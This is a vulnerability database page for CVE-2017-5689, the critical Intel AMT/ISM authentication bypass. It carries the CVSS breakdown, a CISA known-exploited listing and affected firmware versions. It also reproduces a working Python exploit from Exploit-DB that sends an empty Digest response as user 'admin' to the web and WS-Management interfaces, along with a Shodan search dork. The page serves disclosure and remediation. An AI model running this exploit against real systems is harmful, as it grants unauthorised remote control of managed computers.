CVE-2017-5689 : Detail

CVE-2017-5689

9.8
/
Critical
Improper Privilege Management
A04-Insecure Design
94.32%V4
Network
2017-05-02
14h00 +00:00
2025-02-07
13h44 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

An unprivileged network attacker could gain system privileges to provisioned Intel manageability SKUs: Intel Active Management Technology (AMT) and Intel Standard Manageability (ISM). An unprivileged local attacker could provision manageability features gaining unprivileged network or local system privileges on Intel manageability SKUs: Intel Active Management Technology (AMT), Intel Standard Manageability (ISM), and Intel Small Business Technology (SBT).

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.
CWE-269 Improper Privilege Management
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

nvd@nist.gov
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Intel Active Management Technology (AMT), Small Business Technology (SBT), and Standard Manageability Privilege Escalation Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2022-01-27 23h00 +00:00

Action is due : 2022-07-27 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 43385

Publication date : 2017-05-09 22h00 +00:00
Author : nixawk
EDB Verified : No

#!/usr/bin/python # -*- coding: utf-8 -*- # Author: Nixawk # CVE-2017-5689 = { # dork="Server: Intel(R) Active Management Technology" port:"16992", # ports=[ # 623, # 664, # 16992, # 16993, # 16994, # 16995 # ] # products=[ # Active Management Technology (AMT), # Intel Standard Manageability (ISM), # Intel Small Business Technology (SBT) # ] # version=[ # 6.x, # 7.x, # 8.x, # 9.x, # 10.x, # 11.0, # 11.5, # 11.6 # ] import functools import requests import logging import uuid logging.basicConfig(level=logging.INFO, format="%(message)s") log = logging.getLogger(__file__) TIMEOUT = 8 def handle_exception(func): functools.wraps(func) def wrapper(*args, **kwds): try: return func(*args, **kwds) except Exception as err: log.error(err) return False return wrapper def intel_vulnerable_product(server): status = False products = [ 'Intel(R) Active Management Technology', 'Intel(R) Standard Manageability', 'Intel(R) Small Business Technology', 'AMT' ] results = map(lambda x: x in server, products) status = True if (True in results) else False return status @handle_exception def exploit_web_interface(host, port): status = False url = "http://{host}:{port}/index.htm".format(host=host, port=port) headers = {"User-Agent": "Mozilla/5.0"} httprsp = requests.get(url, headers=headers, timeout=TIMEOUT) if not intel_vulnerable_product(httprsp.headers['Server']): return status """ GET /index.htm HTTP/1.1 Host: 192.168.1.100:16992 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: Mozilla/5.0 HTTP/1.1 401 Unauthorized WWW-Authenticate: Digest realm="Digest:7BA70000000000000000000000000000", nonce="/tsfAAYGAADdx+TCLSlXsW7FN7GY/hf7",stale="false",qop="auth" Content-Type: text/html Server: Intel(R) Active Management Technology 8.1.40 Content-Length: 689 Connection: close """ www_authenticate = httprsp.headers.get('WWW-Authenticate') www_authenticate = www_authenticate.replace( 'stale="false"', 'username=admin,response=,uri=/index.htm,nc=00000001,cnonce=60513ab58858482c' ) headers.update({"Authorization": www_authenticate}) httprsp = requests.get(url, headers=headers, timeout=TIMEOUT) if not httprsp: return status if not httprsp.headers: return status if not intel_vulnerable_product(httprsp.headers['Server']): return status if httprsp.status_code == 200: status = True """ GET /index.htm HTTP/1.1 Host: 192.168.1.100:16992 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.13.0 Authorization: Digest realm="Digest:7BA70000000000000000000000000000", nonce="/tsfAAYGAADdx+TCLSlXsW7FN7GY/hf7",username=admin,response=,uri=/index.htm,nc=00000001,cnonce=60513ab58858482c,qop="auth" HTTP/1.1 200 OK Date: Sat, 6 May 2017 03:24:33 GMT Server: Intel(R) Active Management Technology 8.1.40 Content-Type: text/html Transfer-Encoding: chunked Cache-Control: no cache Expires: Thu, 26 Oct 1995 00:00:00 GMT 04A9 """ return status @handle_exception def exploit_wsman(host, port): status = False url = "http://{host}:{port}/wsman".format(host=host, port=port) soap = ( '<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tns="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_SoftwareIdentity" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wscat="http://schemas.xmlsoap.org/ws/2005/06/wsmancat" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:wse="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration">' ' <soap:Header>' ' <wsa:To>{url}</wsa:To>' ' <wsa:ReplyTo>' ' <wsa:Address soap:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:Address>' ' </wsa:ReplyTo>' ' <wsa:Action soap:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/09/transfer/Get</wsa:Action>' ' <wsman:MaxEnvelopeSize soap:mustUnderstand="true">51200</wsman:MaxEnvelopeSize>' ' <wsa:MessageID>uuid:{uuid}</wsa:MessageID>' ' <wsman:ResourceURI soap:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_SoftwareIdentity</wsman:ResourceURI>' ' <wsman:SelectorSet>' ' <wsman:Selector Name="InstanceID">AMT FW Core Version</wsman:Selector>' ' </wsman:SelectorSet>' ' <wsman:OperationTimeout>PT60.000S</wsman:OperationTimeout>' ' </soap:Header>' ' <soap:Body />' '</soap:Envelope>' ).format(url=url, uuid=str(uuid.uuid4())) headers = {"User-Agent": "Mozilla/5.0", "Content-Type": "application/soap+xml; charset=UTF-8"} httprsp = requests.post(url, data=soap, headers=headers, timeout=TIMEOUT) if not intel_vulnerable_product(httprsp.headers['Server']): return status www_authenticate = httprsp.headers.get('WWW-Authenticate') www_authenticate = www_authenticate.replace( 'stale="false"', 'username=admin,response=,uri=/index.htm,nc=00000001,cnonce=60513ab58858482c' ) headers.update({"Authorization": www_authenticate}) httprsp = requests.post(url, data=soap, headers=headers, timeout=TIMEOUT) if not httprsp: return status if not httprsp.headers: return status if not intel_vulnerable_product(httprsp.headers['Server']): return status if httprsp.status_code == 200: status = True return status if __name__ == "__main__": import sys if len(sys.argv) != 3: log.info("[+] Usage: python {} <host> <port>".format(sys.argv[0])) sys.exit(1) host, port = sys.argv[1], sys.argv[2] if exploit_web_interface(host, port) or exploit_wsman(host, port): log.info("[success] CVE-2017-5689 - {host}:{port}".format(host=host, port=port)) else: log.info("[failed] CVE-2017-5689 - {host}:{port}".format(host=host, port=port)) ## References # http://thehackernews.com/2017/05/intel-amt-vulnerability.html # https://www.ssh.com/vulnerability/intel-amt/ # https://www.shodan.io/report/mnAozbpC # https://www.embedi.com/files/white-papers/Silent-Bob-is-Silent.pdf # https://www.tenable.com/blog/rediscovering-the-intel-amt-vulnerability

Products Mentioned

Configuraton 0

Intel>>Active_management_technology_firmware >> Version 6.0

Intel>>Active_management_technology_firmware >> Version 6.1

Intel>>Active_management_technology_firmware >> Version 6.2

Intel>>Active_management_technology_firmware >> Version 7.0

Intel>>Active_management_technology_firmware >> Version 7.1

Intel>>Active_management_technology_firmware >> Version 8.0

Intel>>Active_management_technology_firmware >> Version 8.1

Intel>>Active_management_technology_firmware >> Version 9.0

Intel>>Active_management_technology_firmware >> Version 9.1

Intel>>Active_management_technology_firmware >> Version 9.5

Intel>>Active_management_technology_firmware >> Version 10.0

Intel>>Active_management_technology_firmware >> Version 11.0

Intel>>Active_management_technology_firmware >> Version 11.5

Intel>>Active_management_technology_firmware >> Version 11.6

References

http://www.securityfocus.com/bid/98269
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1038385
Tags : vdb-entry, x_refsource_SECTRACK